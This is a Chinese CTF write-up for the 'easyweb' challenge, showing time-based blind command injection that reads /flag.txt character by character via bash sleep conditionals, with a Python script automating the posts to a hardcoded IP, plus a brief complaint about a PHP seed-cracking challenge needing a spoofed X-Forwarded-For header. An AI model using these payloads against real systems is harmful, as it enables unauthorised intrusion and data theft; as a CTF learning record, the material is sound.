0%

[钓鱼城杯]easyweb

[钓鱼城杯]easyweb

命令执行,post一个cmd,无回显不能连接外网。就是学一下shell语法,然后用时间盲注获得flag

题解

一开始提交了一下ls发现就返回一个200,不知道命令有没有执行,跑一个sleep 3,有明显延迟,证明存在命令执行,但是没有回显
试着弹一下shell,无果,用curl访问一下外网,无反应,证实不能连接外网。
那就只能用判断语句来搜集信息了
查一下shell语法
https://www.cnblogs.com/AloneSword/p/4489098.html
可以用if [ -f /flag.txt ]; then sleep 3; fi;硬猜出来了flag位置(运气比较好)
接下来就是测flag内容,同样用时间盲注
bash -c "if [[ \"$(cat /flag.txt)\" = flag{* ]]; then sleep 3; fi;"
这里一开始判断语句一直出问题,最后用了[[ “$()”” = reg ]]这种形式终于搞了出来,一开始没有加外层的bash -c,结果就一直执行不出来,一开始还以为是把cat之类的给禁了,换了几个类似的读文件命令还是不行,最后突然想起来是不是用的不是bash,加了一个bash -c之后可以用了
贴一个自动注入脚本

import requests
import time
str1 = "1234567890qwertyuiopasdfghjklzxcvbnm_-QWERTYUIOPASDFGHJKLZXCVBNM{}"
url = "http://119.3.37.185/"
payload = ""
for i in range(20):
    for s in str1:
        data = {"cmd": 'bash -c "if [[ \"$(cat /flag.txt)\" = %s* ]]; then sleep 3; fi;"' % (payload + s)}
        start = time.time()
        requests.post(url=url, data=data)
        end = time.time()
        if end - start > 3:
            payload += s
            print(payload)
print(data)

easyseed

垃圾题,点名批评,啥也不给,需要扫描才能拿到一个加密脚本,为index.bak,然后就是经典的PHP随机数种子爆破,爆破出来之后提交也不会对,因为需要把XFF换成127.0.0.1,为什么呢,因为这个是超级脑洞,猜!